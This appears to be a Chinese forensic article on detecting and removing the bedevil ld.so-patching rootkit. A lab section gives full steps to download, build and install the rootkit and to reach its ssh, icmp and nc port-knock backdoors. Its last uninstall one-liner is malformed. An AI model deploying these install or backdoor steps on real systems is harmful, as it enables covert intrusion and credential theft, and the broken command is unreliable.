bedevil是基于动态共享库劫持的用户态Rootkit,网上相关分析文章很少,没有详细的取证分析文章,此文简单介绍一下bedevil相关的痕迹检测和取证方法。
bedevil 是个功能十分完善用户态Rootkit,提供三种端口敲门的方式ssh、icmp、tcp,通过特定的源端口和随机密码获取访问权限,实现隐藏进程、网络连接、窃取文件、窃取登录认证密码、记录用户命令执行、定期修改后门用户GID等功能。
不同于常规的动态链接库Rootkit,通过修改LD_PRELOAD和/etc/ld.so.preload来实现预先加载共享库文件,bedevil Rootkit通过一个随机的文件记录真实的bdvl.so文件地址,将该随机的文件目录直接patch系统共享库文件ld.so,来实现动态链接库劫持。
植入bedevil后,ld.so文件在访问preloadfile目录已被修改为Rootkit设置的随机地址。
bedevil的evade函数对取证工具和显示动态链接的常用工具进行过滤,隐藏自身动态链接库信息(作用相当于内核态Rootkit隐藏自身模块)
当ld.so、ldd、chkrootkit等常规检测动态链接库劫持的进程启动时,则暂时移除patch的文件路径,fork一个新的子进程,重新patch,继续隐藏文件。
当ssh、busybox、打开/proc/*/maps等目录时,隐藏preloadfile目录信息。
bedevil Rootkit编译bdvl.so时,需要libgcc库,安装时配置文件通过.b64文件解压获得,安装成功后,如果是本地获取配置文件,则直接删除。
#下载源码
git clone https://github.com/Error996/bdvl.git
#wget https://ipfs.io/ipns/k51qzi5uqu5dhvpni6iwym0gt3usas29260yepvvti525v031niy94j80dk8t6/bdvl.tar.gz
#wget https://cloudflare-ipfs.com/ipfs/QmYd4NnBUT4hwnk73XT9xvZqpv75ye4t131YEap3amvdpb/bdvl.tar.gz
#wget https://ipfs.io/ipfs/QmYd4NnBUT4hwnk73XT9xvZqpv75ye4t131YEap3amvdpb/bdvl.tar.gz
#wget https://cloudflare-ipfs.com/ipfs/QmYd4NnBUT4hwnk73XT9xvZqpv75ye4t131YEap3amvdpb/bdvl.tar.gz
#wget https://k51qzi5uqu5dhvpni6iwym0gt3usas29260yepvvti525v031niy94j80dk8t6.ipns.dweb.link/bdvl.tar.gz
tar -zxvf bdvl.tar.gz
cd bdvl
#自动编译
sh etc/depinstall.sh && make
cd build
#在build运行simplehttpserver 9001,因为build目录下的.b64文件默认通过本地9001端口获取
nohup python -m SimpleHTTPServer 9001 &
cd ../
#自动安装
sh etc/auto.sh
#第二次安装通过
LD_PRELOAD=./build/bdvl.so.x86_64 sh -c './bdvinstall build/bdvl.so.*'
#杀死9001端口监听进程
ps aux | grep python
kill xxxx
ssh方式连接
sh etc/ssh.sh super <host> 24023
icmp方式连接
sh etc/icmp.sh <host> 24023
tcp方式连接
nc <host> 22 -p 18419
连接后默认在随机的home目录,并且创建了软链接,方便攻击者查看,登录密码、命令执行记录、窃密文件等。
其他功能可以卸载,隐藏其他文件目录、显示自身、创建链接、更改自身GID、安装软件包等。
不同于常规的动态链接库Rootkit,通过修改LD_PRELOAD和/etc/ld.so.preload来实现预先加载共享库文件,bedevil Rootkit通过一个随机的文件记录真实的bdvl.so文件地址,将该随机的文件目录直接patch系统共享库文件ld.so,来实现动态链接库劫持。
常规的检测手段,比如查看进程的map信息、利用busybox查看文件目录、查看LD_PRELOAD环境变量、查看/etc/ld.so.preload等手段失效。
几种思路进行有效检测:
绕过字符过滤进行检测
绕过正则过滤进行检测
第一种思路,由于预设了一些进程名称比如busybox等,可以通过修改busybox程序名,或者使用完整路径来执行,如下图,可以找到隐藏的网络连接。
对比两次的maps信息,找到可疑的共享库路径(标记为delete)。
第二种思路,找到ld.so被patch的预加载共享库的路径。由于随机路径一般设置为/usr、/etc、/bin等目录下,可以直接通过string过滤出字符串,因为攻击者没有对strings程序进行对抗。
下图可知,可疑的文件路径/bin/commguqhfesnw,疑似预加载链接库的目录。
strings /lib/ld-2.17.so | grep '/etc'
strings /lib/ld-2.17.so | grep '/usr'
strings /lib/ld-2.17.so | grep '/bin'
strings /lib/ld-2.17.so | grep '/opt'
利用busybox查看/bin/commguqhfesnw文件,可知恶意的链接库文件为/lib/firewallb/libfirewallb.so.x86_64。
攻击者预设了正则表达式,对ld.so共享库调用--list查看别的共享库的列表时,暂时移除patch的文件路径,fork一个新的子进程,重新patch,继续隐藏文件。
预设的正则
*/*ld-linux*.so.*
*ld-linux*.so.*
*/*ld-*.so
*ld-*.so
*/ld-*.so.*
/usr/lib64/ld-2.17.so
/usr/lib/ld-2.17.so
可以通过软链接(/lib ----> usr/lib),访问/lib/ld-2.17.so的方式,绕过正则匹配和过滤策略,当执行--list命令时,bdvl.so没有对ld-2.17.so的patch的preloadfile路径做修复,导致预加载执行时还是需要读取/bin/commguqhfesnw文件目录,加载动态链接库,暴露被劫持的路径和恶意动态链接库的信息,从而实现Rootkit检测。
检测到bedevil Rootkit后,可以通过一些思路将所有恶意文件目录找到。
属主不为root的共享库文件
属主大于10000的文件目录
快速定位ssh后门用户名和密码哈希
快速定位特殊环境变量
在bedevil常存在的目录下,查找属主不为root的共享库文件,分析是否为可疑共享库。
全盘寻找属主大于10000的文件目录。
如果攻击者曾经连接过ssh后门,则可以直接找到创建的软链接目录,得到随机目录的定义。
如果攻击者正在连接ssh后门,则可以发现许多异常文件目录。
快速定位ssh后门用户名和密码哈希。
/tmp/busybox-1.36.1 find /etc /usr /opt /var -name "*\.so.x86_64" -type f ! -user root 2>/dev/null -exec /tmp/busybox-1.36.1 strings {} \; | grep -E "sshd:"
/tmp/busybox-1.36.1 find /etc /usr /opt /var -name "*\.so.x86_64" -type f ! -user root 2>/dev/null -exec /tmp/busybox-1.36.1 strings {} \; | grep -E "\\\$6\\\$"
快速定位特殊环境变量DMHXVLSLQMXGCIDF。
/tmp/busybox-1.36.1 find /etc /usr /opt /var -name "*\.so.x86_64" -type f ! -user root 2>/dev/null -exec /tmp/busybox-1.36.1 strings {} \; | grep -Eo "[A-Z0-9]{16}" | uniq
先找到可疑的.so文件,在.so文件中找到设置的特殊环境变量,然后设置为1,再通过uninstall命令,完全卸载bedevil Rootkit。
/tmp/busybox-1.36.1 find /etc /usr /opt /var -name "*\.so.x86_64" -type f ! -user root 2>/dev/null -exec /tmp/busybox-1.36.1 strings {} \; | grep -Eo "[A-Z0-9]{16}" | uniq -exec {}=1 sh -c './bdv uninstall' \;